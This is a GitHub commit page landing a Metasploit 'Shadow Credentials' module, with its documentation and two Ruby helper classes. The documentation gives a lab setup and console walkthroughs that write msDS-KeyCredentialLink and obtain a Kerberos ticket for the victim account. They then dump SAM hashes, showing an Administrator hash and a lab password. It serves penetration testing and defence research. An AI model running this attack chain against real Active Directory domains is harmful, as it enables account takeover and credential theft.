-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19051, Add the Shadow Credentials module
- Loading branch information
Showing
10 changed files
with
904 additions
and
1 deletion.
There are no files selected for viewing
264 changes: 264 additions & 0 deletions
264
documentation/modules/auxiliary/admin/ldap/shadow_credentials.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,264 @@ | ||
## Shadow Credentials Exploitation | ||
|
||
If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation. | ||
This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have | ||
the ability to write their own value (whereas user accounts do not). | ||
|
||
The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target. | ||
When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file | ||
can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services | ||
are enabled within the domain. | ||
|
||
## Lab setup | ||
|
||
Set up a domain with AD CS configured. | ||
|
||
For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`). | ||
Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below). | ||
|
||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment: | ||
|
||
```powershell | ||
# Create a basic user account | ||
net user /add sandy Password1! | ||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future | ||
net user sandy /expires:never | ||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true | ||
``` | ||
|
||
Grant Write privileges for sandy to the target account, i.e. `victim`: | ||
|
||
```powershell | ||
# Remember to change victim to the name of your target user | ||
$TargetUser = Get-ADUser 'victim' | ||
$User = Get-ADUser 'sandy' | ||
# Add GenericWrite access to the user against the target computer | ||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite" | ||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow" | ||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All" | ||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType | ||
$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)" | ||
$TargetUserAcl.AddAccessRule($GenericWriteAce) | ||
Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)" | ||
``` | ||
|
||
Finally Verify the Write privileges for the sandy account: | ||
|
||
```powershell | ||
PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim' | ||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' } | ||
ActiveDirectoryRights : GenericWrite | ||
InheritanceType : All | ||
ObjectType : 00000000-0000-0000-0000-000000000000 | ||
InheritedObjectType : 00000000-0000-0000-0000-000000000000 | ||
ObjectFlags : None | ||
AccessControlType : Allow | ||
IdentityReference : MSFLAB\sandy | ||
IsInherited : False | ||
InheritanceFlags : ContainerInherit | ||
PropagationFlags : None | ||
``` | ||
|
||
## Module usage | ||
1. `use auxiliary/admin/ldap/shadow_credentials` | ||
2. Set the `RHOST` value to a target domain controller | ||
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges | ||
4. Set the `TARGET_USER` to the victim account | ||
5. Use the `ADD` action to add a credential entry to the victim account | ||
|
||
See the Scenarios for a more detailed walk through | ||
|
||
## Actions | ||
|
||
### FLUSH | ||
Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just | ||
the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users. | ||
|
||
### LIST | ||
Read the credential entries and print the Device (Certificate) IDs of currently configured entries | ||
|
||
### REMOVE | ||
Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID | ||
instead of deleting the entire property. | ||
|
||
### ADD | ||
Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values. | ||
|
||
## Options | ||
|
||
### TARGET_USER | ||
The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION | ||
(read, write, etc.). The authenticated user must have the appropriate access to this object. | ||
|
||
### DEVICE_ID | ||
The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action. | ||
|
||
## Scenarios | ||
|
||
### Window Server 2022 Domain Controller, Targeting user account | ||
|
||
In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module. | ||
|
||
```msf | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > show options | ||
Module options (auxiliary/admin/ldap/shadow_credentials): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
DOMAIN no The domain to authenticate to | ||
PASSWORD no The password to authenticate with | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 389 yes The target port | ||
SSL false no Enable SSL on the LDAP connection | ||
TARGET_USER yes The target to write to | ||
USERNAME no The username to authenticate with | ||
When ACTION is REMOVE: | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
DEVICE_ID no The specific certificate ID to operate on | ||
Auxiliary action: | ||
Name Description | ||
---- ----------- | ||
LIST Read all credentials associated with the account | ||
View the full module info with the info, or info -d command. | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129 | ||
rhosts => 20.92.148.129 | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL | ||
domain => MSF.LOCAL | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy | ||
username => sandy | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1! | ||
password => Password1! | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim | ||
target_user => victim | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add | ||
action => add | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > run | ||
[*] Running module against 20.92.148.129 | ||
[*] Discovering base DN automatically | ||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local | ||
[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx | ||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07 | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module. | ||
|
||
|
||
```msf | ||
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129 | ||
rhosts => 20.92.148.129 | ||
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim | ||
username => victim | ||
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL | ||
domain => MSF.LOCAL | ||
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx | ||
cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx | ||
msf6 auxiliary(admin/kerberos/get_ticket) > run | ||
[*] Running module against 20.92.148.129 | ||
[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate: | ||
[*] 20.92.148.129:88 - Getting TGT for [email protected] | ||
[+] 20.92.148.129:88 - Received a valid TGT-Response | ||
[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module: | ||
|
||
```msf | ||
msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129 | ||
[*] Running module against 20.92.148.129 | ||
[*] 20.92.148.129:445 - Using cached credential for krbtgt/[email protected] [email protected] | ||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response | ||
[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin | ||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response | ||
[*] 20.92.148.129:445 - Service RemoteRegistry is already running | ||
[*] 20.92.148.129:445 - Retrieving target system bootKey | ||
[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919 | ||
[*] 20.92.148.129:445 - Saving remote SAM database | ||
[*] 20.92.148.129:445 - Dumping SAM hashes | ||
[*] 20.92.148.129:445 - Password hints: | ||
No users with password hints on this system | ||
[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::): | ||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89::: | ||
``` | ||
|
||
### Window Server 2022 Domain Controller, Computer account targeting itself | ||
|
||
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default. | ||
|
||
```msf | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add | ||
[*] Running module against 20.92.148.129 | ||
[+] Successfully bound to the LDAP server! | ||
[*] Discovering base DN automatically | ||
[*] 20.92.148.129:389 Getting root DSE | ||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local | ||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx | ||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709 | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
Note, however, that attempting to add a second credential will fail under these circumstances: | ||
|
||
```msf | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add | ||
[*] Running module against 20.92.148.129 | ||
[+] Successfully bound to the LDAP server! | ||
[*] Discovering base DN automatically | ||
[*] 20.92.148.129:389 Getting root DSE | ||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local | ||
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s). | ||
[-] Failed to update the msDS-KeyCredentialLink attribute. | ||
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights. | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value. | ||
It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication | ||
for any legitimate user relying on the existing value. | ||
|
||
```msf | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush | ||
action => flush | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV | ||
[*] Running module against 20.92.148.129 | ||
[+] Successfully bound to the LDAP server! | ||
[*] Discovering base DN automatically | ||
[*] 20.92.148.129:389 Getting root DSE | ||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local | ||
[+] Successfully deleted the msDS-KeyCredentialLink attribute. | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add | ||
action => add | ||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV | ||
[*] Running module against 20.92.148.129 | ||
[+] Successfully bound to the LDAP server! | ||
[*] Discovering base DN automatically | ||
[*] 20.92.148.129:389 Getting root DSE | ||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local | ||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx | ||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a | ||
[*] Auxiliary module execution completed | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
# -*- coding: binary -*- | ||
|
||
require 'bindata' | ||
|
||
module Rex::Proto | ||
# [_BCRYPT_RSAKEY_BLOB](https://github.com/tpn/winsdk-10/blob/9b69fd26ac0c7d0b83d378dba01080e93349c2ed/Include/10.0.14393.0/shared/bcrypt.h#L390) | ||
class BcryptPublicKey < BinData::Record | ||
MAGIC = 0x31415352 | ||
endian :little | ||
|
||
uint32 :magic, initial_value: MAGIC | ||
uint32 :key_length | ||
uint32 :exponent_length, :value => lambda { exponent.length } | ||
uint32 :modulus_length, :value => lambda { modulus.length } | ||
uint32 :prime1_length, :value => lambda { prime1.length } | ||
uint32 :prime2_length, :value => lambda { prime2.length } | ||
|
||
string :exponent, :read_length => :exponent_length | ||
string :modulus, :read_length => :modulus_length | ||
string :prime1, :read_length => :prime1_length | ||
string :prime2, :read_length => :prime2_length | ||
end | ||
end | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
module Rex | ||
module Proto | ||
module LDAP | ||
|
||
# Handle converting objects into the DN-Binary syntax | ||
# See: https://learn.microsoft.com/en-us/windows/win32/adschema/s-object-dn-binary | ||
class DnBinary | ||
def initialize(dn, data) | ||
self.dn = dn | ||
self.data = data | ||
end | ||
|
||
# Turn a DN-Binary string into a structured object containing data and a DN | ||
# @param str [String] A DN-Binary-formatted string | ||
def self.decode(str) | ||
groups = str.match(/B:(\d+):(([a-fA-F0-9]{2})*):(.*)/) | ||
raise ArgumentError.new('Invalid DN Binary string') if groups.nil? | ||
length = groups[1].to_i | ||
raise ArgumentError.new('Invalid DN Binary string length') if groups[2].length != length | ||
data = [groups[2]].pack('H*') | ||
|
||
DnBinary.new(groups[4], data) | ||
end | ||
|
||
# Turn this structured object containing data and a DN into a DN-Binary string | ||
# @return [String] The DN-Binary-formatted string | ||
def encode | ||
data_hex = self.data.unpack('H*')[0] | ||
|
||
"B:#{data_hex.length}:#{data_hex}:#{self.dn}" | ||
end | ||
|
||
attr_accessor :data # Raw bytes | ||
attr_accessor :dn # LDAP Distinguished name | ||
end | ||
end | ||
end | ||
end |
Oops, something went wrong.